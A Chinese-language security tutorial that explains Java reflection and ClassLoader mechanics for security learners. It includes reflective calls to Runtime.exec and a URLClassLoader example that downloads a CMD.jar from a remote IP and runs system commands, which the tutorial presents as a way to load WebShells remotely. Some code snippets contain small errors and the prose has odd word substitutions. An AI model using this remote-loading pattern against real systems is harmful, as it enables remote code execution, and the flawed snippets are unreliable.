Java 安全底子之 Java 反射机制和 ClassLoader 类加载机制

目录

• Java 反射机制
  
  
  
  • 反射 java.lang.Runtime
    
  
  
• ClassLoader 类加载机制
  
  
  
  • URLClassLoader
    
  • loadClass()方法与 Class.forName 的区别？
    
  
  

Java 反射机制

Java 反射（Reflection）是 Java 非常紧张的动态特性。在运行状态中，通过 Java 的反射机制，我们可以或许判断一个对象所属的类。了解任意一个类的全部属性和方法。可以或许调用任意一个对象的任意方法和属性。
Java 反射机制可以无视类方法、变量去访问权限修饰符，而且可以调用任何类的任意方法、访问并修改成员变量值。
对于一半的程序员来说反射的意义不大，对于框架开发人员来说，反射作用就非常大了，它是各种容器实现的核心。
获取 Class 对象
Java 反射利用的是 java.lang.Class 对象，以是我们需要先想办法获取到 Class 对象。
1、类字面常量来获取

1. Class<?> name = MyClass.class;

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2、通过对象获取 getClass() 方法

1. MyClass obj = new MyClass();
2. Class<?> name = obj.getClass();

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3、通过全限定名获取  Class.forName() 方法

1. Class<?> name = Class.forName("java.lang.Runtime");

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4、使用 getSystemClassLoader().loadClass() 方法

1. Class<?> name = ClassLoader.getSystemClassLoader().loadClass("java.lang.Runtime");

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loadClass() 与 forName() 的区别：
forName() 的静态方法 JVM 会装载类，而且执行 static() 中的代码。而getSystemClassLoader().loadClass() 不会执行 static() 中的代码。
获取类成员变量
1、getDeclaredFields 方法
得到类的成员变量数组，包括 public、private 和 proteced，但是不包括父类的申明字段。

1. Field[] fields = classname.getDeclaredFields();

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2、getDeclaredField 方法
该方法与 getDeclaredFields 的区别是只能得到类的单个成员变量。

1. Field field  = classname.getDeclaredField("变量名");

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3、getFields 方法
getFields 可以或许得到某个类的全部的 public 字段，包括父类中的字段。

1. Field[] fields = classname.getFields();

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4、getField 方法
与 getFields 类似，getField 方法可以或许得到某个类特定的 public 字段，包括父类中的字段。

1. Field field = classname.getField(("变量名");

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获取类方法
1、getDeclaredMethods 方法
返回类或接口声明的全部方法，包括 public、protected、private 和默认方法，但不包括继承的方法。

1. Method[] methods = classname.getDeclaredMethods()

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2、getDeclaredMethod 方法
也只能返回一个特定的方法，该方法的第一个参数为方法名，第二个参数名是方法参数。

1. Method methods = classname.getDeclaredMethods("方法名")

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3、getMethods 方法
返回某个类的全部 public 方法，包括其继承类的 public 方法。

1. Method[] methods = classname.getMethods();

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4、getMethod 方法
只能返回一个特定的方法，该方法的第一个参数为方法名称，后面的参数为方法的参数对应 Class 的对象。

1. Method method = clazz.getMethod("方法名");

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反射 java.lang.Runtime

java.lang.Runtime 有一个 exec 方法，以是可以反射调用 Runtime 类来执行本地体系命令。
不使用反射执行本地命令：

1. import java.io.IOException;
3. public class Exec {
4.     public static void main(String[] args) throws IOException {
5.         Runtime.getRuntime().exec("calc");
6.     }
7. }

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反射 Runtime 执行本地命令：

1. import java.lang.reflect.InvocationTargetException;
2. import java.lang.reflect.Method;
4. public class ReflectionExec {
5.     public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException,
6.             InvocationTargetException, IllegalAccessException {
7.         // 获取 Runtime 类
8.         Class<?> clazz = Class.forName("java.lang.Runtime");
10.         // 获取 Runtime 类的 getRuntime() 方法
11.         Method getRuntimeMethod = clazz.getMethod("getRuntime");
13.         // 调用 getRuntime() 方法，获取 Runtime 对象
14.         Object runtimeObject = getRuntimeMethod.invoke(null);
16.         // 获取 exec(String command) 方法
17.         Method execMethod = clazz.getMethod("exec", String.class);
19.         // 执行系统命令
20.         execMethod.invoke(runtimeObject, "clac");
21.     }
22. }

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间接性的调用 Runtime 的 exec 方法执行本地体系命令。

不安全的反射大概会带来致命的漏洞。
ClassLoader 类加载机制

Java 是编译型语言，编写的 java 文件需要编译成后 class 文件后才可以或许被 JVM 运行。类加载器 ClassLoader 负责加载类文件，生成对应的 Class 对象。
JVM 提供的三种类加载器

• Bootstrap ClassLoader（启动类加载器）
  

负责加载 Java 的核心类，好比 java.lang.Object 等。它是由 C++ 实现的，而且不是 Java 类。

• Extension ClassLoader（扩展类加载器）
  

负责加载 Java 的扩展类，位于 /lib/ext 目录下的JAR包或类。

• System ClassLoader（体系类加载器）
  

也称为应用类加载器，负责加载应用程序的类，通常从classpath中加载类。
值得留意的是，Bootstrap ClassLoader 它是 JVM 自身的一部分，并不是  ClassLoader 的子类，无法直接获取对其的引用，以是尝试获取被 Bootstrap ClassLoader 类加载器所加载的类的 ClassLoader 时候都会返回 null。
除了这三种，还可以自定义类加载器。
ClassLoader 类中和加载类相关的方法

• getParent() 返回该类加载器的父类加载器
  
• loadClass() 加载指定的类
  
• findClass() 查找指定的类
  
• findLoadedClass() 查找已经被加载过的类
  
• defineClass() 定义一个类
  
• resolveClass() 链接指定的Java类
  

ClassLoader类加载流程

• 检查是否已经加载过类
  

在加载类之前，会首先使用 findLoadedClass() 方法判断该类是否已经被加载，如果已经加载过，则直接返回对应的 Class 对象。

• 委托给父类加载器
  

如果未被加载，则优先使用加载器的父类加载器进行加载，如果加载成功，则返回对应的 Class 对象。

• 自行尝试加载类
  

如果父类加载器无法加载该类，大概父类加载器为空，则会调用自身的 findClass() 方法尝试自行加载该类。

• 链接和初始化
  

在成功加载类之后，类加载器会对其进行链接和初始化利用。

• 返回 Class 对象
  

返回一个被 JVM 加载后的 java.lang.Class 类对象。
ClassLoader 的 loadClass 方法核心逻辑代码：

1. protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
2.     synchronized (getClassLoadingLock(name)) {
3.         Class<?> c = findLoadedClass(name);
4.         if (c == null) {
5.             long t0 = System.nanoTime();
6.             try {
7.                 if (parent != null) {
8.                     c = parent.loadClass(name, false);
9.                 } else {
10.                     c = findBootstrapClassOrNull(name);
11.                 }
12.             } catch (ClassNotFoundException e) {
13.             }
14.             if (c == null) {
15.                 c = findClass(name);
16.             }
17.         }
18.         if (resolve) {
19.             resolveClass(c);
20.         }
21.         return c;
22.     }
23. }

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自定义的类加载器
通过重写 findClass() 方法，利用 defineClass() 方法来将字节码转换成 java.lang.class 类对象，就可以实现自定义的类加载器。
URLClassLoader

URLClassLoader 类是 ClassLoader 的一个实现，拥有从远程服务器上加载类的能力。
通过 URLClassLoader 可以实现远程的类方法调用，可以实现对一些 WebShell 的远程加载。
例如：通过 URLClassLoader 来加载一个远程的 jar 包执行本地命令

1. import java.io.ByteArrayOutputStream;
2. import java.io.IOException;
3. import java.io.InputStream;
4. import java.lang.reflect.InvocationTargetException;
5. import java.net.URL;
6. import java.net.URLClassLoader;
8. public class TestURLClassLoader {
9.     public static void main(String[] args) throws IOException,
10.             ClassNotFoundException, NoSuchMethodException, InvocationTargetException,
11.                         IllegalAccessException {
12.         // 定义远程加载的jar的URL路径
13.         URL url = new URL("http://192.168.88.150/CMD.jar");
15.         // 创建URLClassLoader对象，并加载远程jar包
16.         URLClassLoader ucl = new URLClassLoader(new URL[]{url});
18.         // 通过URLClassLoader加载远程jar包中的CMD类
19.         Class<?> cmdClass = ucl.loadClass("CMD");
21.         String cmd = "ls";
22.         // 调用CMD类中的exec方法
23.         Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);
25.         // 获取命令执行结果的输入流
26.         InputStream in = process.getInputStream();
27.         ByteArrayOutputStream baos = new ByteArrayOutputStream();
28.         byte[] b = new byte[1024];
29.         int a = -1;
31.         // 读取命令执行结果
32.         while ((a = in.read(b)) != -1) {
33.             baos.write(b, 0, a);
34.         }
36.         // 输出命令执行结果
37.         System.out.println(baos.toString());
38.     }
39. }

复制代码

远程的 CMD.jar 中就一个 CMD.class 文件，对应的 CMD.java 如下：

1. import java.io.IOException;
3. public class CMD {
4.     public static Process exec(String cmd) throws IOException {
5.         return Runtime.getRuntime().exec(cmd);
6.     }
7. }

复制代码

成功调用 CMD 类中的 exec 方法，执行了 ls 命令。

loadClass()方法与 Class.forName 的区别？

loadClass() 方法和 Class.forName() 方法都可以用于在运行时加载类。
重要区别：

• loadClass() 方法是 ClassLoader 类的一个方法，通过指定的类加载器加载类。它在加载类时不会主动执行类的静态初始化代码。
  
• Class.forName() 方法是 java.lang.Class 类的一个静态方法，它在加载类时会主动执行类的静态初始化代码。
  

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